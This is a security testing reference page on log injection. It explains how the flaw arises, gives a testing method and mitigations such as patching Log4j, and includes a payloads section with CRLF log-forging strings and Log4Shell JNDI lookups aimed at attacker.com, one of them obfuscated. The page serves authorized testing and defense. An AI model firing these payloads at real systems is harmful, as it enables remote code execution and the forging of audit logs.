OWASP Hunting
Injection

Log Injection

Log injection inserts malicious content into application log files to forge log entries, hide attacks, or exploit log viewers.

These payloads are for authorized testing only — systems you own, authorized bug bounty programs, or controlled lab environments. Unauthorized testing is illegal.

What it is

Log Injection occurs when an application writes unsanitized user input to log files. An attacker can inject newlines to forge additional log entries, obfuscate attack evidence, or exploit log management tools that process log data (e.g., triggering XSS in a web-based log viewer). In severe cases, log injection can be chained with log4shell-style vulnerabilities to achieve RCE.

Attack Vectors

  • Any input field that is logged (usernames, search queries, error inputs)
  • HTTP headers logged by access log systems
  • User-Agent and Referer headers in web server logs
  • Application error messages containing user input

Testing Methodology

  1. Submit \n or %0a followed by a fake log entry to test newline injection
  2. Check if CR (\r) or LF (\n) characters are reflected in logs
  3. Test for JNDI injection strings if the target uses Log4j
  4. Inject HTML/JS in log entries and check web-based log viewers

Payloads

Reference payloads for authorized testing. Always verify you have permission before use.

Newline Injection
foo\nINFO: Admin login from 127.0.0.1foo%0aINFO: Fake entryfoo%0d%0aINFO: CRLF injected entry
Log4Shell (Log4j)
${jndi:ldap://attacker.com/a}${jndi:dns://attacker.com/a}${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/a}
Log Forging
admin\nFailed login for user: legitimate_usernormal%0a2024-01-01 00:00:00 INFO User admin logged in successfully

Indicators of Vulnerability

  • Log file contains injected newlines and fabricated entries
  • JNDI lookup request received on attacker-controlled server
  • Log viewer renders injected HTML or JavaScript

Detection Guidance

Sanitize all user-supplied values before writing to logs by stripping or encoding control characters. Ensure log management tools treat log data as untrusted input.

Mitigation & Remediation

  • Encode or strip newline characters (\n, \r) from all logged input
  • Use a structured logging format (JSON) instead of free-form text
  • Update Log4j to a patched version (2.17+) to prevent Log4Shell
  • Set log4j2.formatMsgNoLookups=true as a mitigation
  • Treat log viewer output as untrusted and apply output encoding

References

Responsible Use

All content in this reference is for authorized security testing only. Use only on systems you own or have explicit written permission to test.

  • Systems and applications you own
  • Authorized penetration testing engagements
  • Bug bounty programs with defined scope
  • Educational lab environments (DVWA, WebGoat, HackTheBox)